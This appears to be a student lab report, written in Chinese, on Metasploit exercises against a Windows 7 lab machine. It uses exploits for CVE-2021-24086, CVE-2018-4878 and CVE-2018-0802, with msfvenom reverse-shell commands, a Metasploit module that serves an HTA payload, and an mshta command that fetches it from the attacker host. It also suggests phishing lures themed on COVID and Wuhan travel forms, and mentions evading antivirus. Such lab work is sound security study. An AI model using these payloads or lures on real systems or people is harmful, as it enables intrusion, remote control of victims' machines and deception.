Exp6 MSF应用基础

一、实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

1 一个主动攻击实践

使用 CVE-2021-24086 对 win7 进行dos攻击

2021年2月9日微软发布了一个安全补丁程序,修复了编号为CVE-2021-24086的拒绝服务漏洞,该漏洞影响每个Windows版本的IPv6堆栈。该问题是由于IPv6分片处理不当造成的。

漏洞介绍

Windows IPv6协议栈存在一处拒绝服务漏洞,此漏洞的根本原因是IPv6的嵌套分片机制中,当尝试递归重组嵌套的分片时会计算内部有效载荷中包含的所有扩展标头,当重组扩展头约为0xffff字节的数据包时,在IPv6 ReassembleDatagram中发生的NULL指针取消引用,发生崩溃。

远程攻击者可通过向目标系统发送特制数据包来利用此漏洞,成功利用此漏洞可导致目标系统拒绝服务(蓝屏)。

本实验使用 Win7 作为靶机来进行渗透测试 Win7 环境说明:IP 地址 192.168.30.165 ,防火墙状态开启。

1 攻击前的准备

  • 查看靶机IP地址
ipconfig

2 执行攻击

  • 使用nessus扫描靶机漏洞

  • 在浏览器地址栏中输入https://kali_ip:8834然后登录进入image-20220511100758711

  • 点击Policies新建规则,plugins全选

    image-20220510090747157

  • 点击myscan新建扫描,随后输入靶机ip地址开始扫描

    image-20220511100817153

  • 点进去查看漏洞

    image-20220511100834217

  • 下载CVE-2021-24086 POC

  • 执行攻击

image-20220511101048455

  • 目标靶机已蓝屏

image-20220511101149792

image-20220511095804748

2 一个针对浏览器的攻击

Kali Linux + Windows 7 sp1
渗透机:Kali Linux (ip:192.168.30.147)
靶机:Windows 7 sp1 (ip:192.168.30.165)
exp:cve-2018-4878.py
flash:flashplayer_activex_28.0.0.137.exe

  • 使用msfvenom生成shell代码

  • 生成代码,其中lhost为kali的ip地址,lport为自定义的端口号

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.30.147 lport=8888  -f  python>shellcode.txt 

image-20220511103921729

  • 查看代码文件
root@kali:~# cat shellcode.txt 

image-20220511103947567

  • 进入CVE-2018-4878-master目录,编辑CVE-2018-4878.py文件

将上面msfvenom生成的代码覆盖掉原来的代码:

image-20220511104950543

  • 修改CVE-2018-4878.py下面的文件信息(后面会用到,之后保存修改退出):

image-20220511105416916

  • Kali Linux进入CVE-2018-4878路径,用Python执行CVE-2018-4878-master.py代码
root@kali:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py 
root@kali:~/Desktop/CVE-2018-4878-master# ls -l 

image-20220511204034410

  • Kali Linux开启Apache2服务,并将上面的2个文件放入/var/www/html目录中(apache web路径)
root@kali:~/Desktop/CVE-2018-4878-master# service apache2 start 
root@kali:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html 
root@kali:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf 

image-20220511204933315

此时,Kali Linux上Web服务启动,并且具备index.html这个页面。只要靶机启用flash并访问了这个页面,则可以直接被控制。

  • Kali Linux开启Shell会话监听
使用handler监听模块  
msf > use exploit/multi/handler 
回弹一个tcp连接  
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp 
设置kali渗透机的ip地址  
msf exploit(handler) > set lhost 192.168.30.147
设置监听端口,这个需跟上面msfvenom设置的端口一致  
msf exploit(handler) > set lport 8888 
开启监听,等待肉鸡上线 
 msf exploit(handler) > exploit

image-20220511205145255

  • Windows7 安装flash插件,并用IE浏览器访问页面

image-20220511212226066

image-20220511212124784

  • Kali Linux 上获取meterpreter shell,并进行管理

image-20220511212103810

image-20220511212156986

3 一个针对客户端的攻击,以office为例

漏洞:CVE-2018-0802
安装office。
检查是否存在漏洞

下载脚本:https://github.com/Ridter/RTF_11882_0802/

输入下面的命令:

python RTF_11882_0802.py -c "cmd.exe /c calc.exe" -o calc.doc

image-20220511220906508

双击打开calc.doc,如果弹出计算器说明存在漏洞:

image-20220511220841591

  • 漏洞利用
  • 将下面的脚本写入到PS_shell.rb。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end

  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end


  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

将PS_shell.rb放置在/usr/share/metasploit-framework/modules/exploits/windows/smb/

打开msf,执行msfconsole。进去后记得要 reload_all。选择PS_shell脚本,然后开启监听

image-20220511222840175

msf6 > use exploits/windows/smb/PS_shell
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/PS_shell) > show options

Module options (exploit/windows/smb/PS_shell):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.30.147   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/PS_shell) > set uripath wpy
uripath => wpy
msf6 exploit(windows/smb/PS_shell) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.30.147:4444 
[*] Using URL: http://0.0.0.0:8080/wpy
[*] Local IP: http://192.168.30.147:8080/wpy
msf6 exploit(windows/smb/PS_shell) > [*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.30.147:8080/wpy"

生成病毒文件:

python RTF_11882_0802.py -c "mshta http://192.168.30.147:8080/wpy" -o new.doc

image-20220511224234355

new.doc打开之后就是普通word文档的样子,看不出什么异常:

image-20220511224910507

但是打开之后,kali成功收到反弹shell,权限为当前登录用户权限。

image-20220511223312560

image-20220511224730229

这个远程代码执行漏洞最关键的一步是在被攻击机器上打开带病毒的word文件,所以实际场景中钓鱼比较多,取一个让人有打开欲望的文件名,比如之前通报过的新冠感染诊断,武汉旅行信息搜集表等,如果刚好你的系统装了office且没有即时打补丁,恭喜你~

4 辅助模块的使用

metasploit的auxiliary(辅助模块): 包含扫描、fuzz测试、漏洞挖掘、⽹络协议欺骗等程序。

下面,使用PortScan进行端口扫描
命令如下:

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.30.165
exploit

结果如下:

image-20220511225347684

我们可以看到,metasploit帮助我们获取了目标已经开放的端口,由此我们可以推测出靶机可能存在的漏洞和可能提供的服务,进而完成后续攻击。

二、问题回答

1 用自己的话解释什么是exploit,payload,encode

exploit:exploit字面上的意思是“开拓、开发”,而在破解圈子里面,公认的概念可能是“漏洞及其利用”。通俗的说,exploit就是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取资料文档、添加自定义用户、甚至侵入系统获得管理员权限控制整个系统的最终目的。
payload:payload 可以理解为一系列信息中最为关键的信息。
encode:通过一定规律的编码算法,将对metaspolit、CS生成的shellcode进行编码/模糊处理/变形,从原始shellcode中删除所有无效的字符,从而逃避杀毒软件检测。

2 实践总结与体会

报错记录:

image-20220511095444619

┌──(root💀20191317wpy)-[/home/wpy20191317/桌面/CVE-2021-24086]
└─# python3 cve-2021-24086.py                 
66 fragments, total size 0xfff8
Traceback (most recent call last):
  File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 388, in <module>
    main()
  File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 384, in main
    pull_the_trigger(args)
  File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 370, in pull_the_trigger
    sendp(frags, iface= args.iface)
  File "/usr/lib/python3/dist-packages/scapy/sendrecv.py", line 376, in sendp
    socket = socket or conf.L2socket(iface=iface, *args, **kargs)
  File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 411, in __init__
    set_promisc(self.ins, self.iface)
  File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 147, in set_promisc
    mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"")
  File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 360, in get_if_index
    return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0])
  File "/usr/lib/python3/dist-packages/scapy/arch/common.py", line 31, in get_if
    return ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8")))
OSError: [Errno 19] No such device

解决网卡问题,我的网卡名称为eth0,但是脚本中默认为eth1,改过来就好了。

image-20220511095559339

这次实验具体难度体现在,需要找到不同的漏洞进行操作,但是具体操作在网络上都可以找到,所以难度可能就只有在实践过程中遇到过的奇奇怪怪的报错。

3 离实战还缺些什么技术或步骤?

首先是能扫描到局域网内主机或者其他主机的扫描器,其次就是判断扫描到的主机是否安装了我们想要利用的漏洞的补丁包,然后是如果主机有杀毒软件我们应该如何绕过杀毒软件。最后是构造攻击手段,并且通过钓鱼网站或者社会工程学等方式令主机点击钓鱼链接或者木马程序或者我们构造好的恶意文件。

posted @ 2022-05-19 08:41  Bzrael  阅读(220)  评论(0编辑  收藏  举报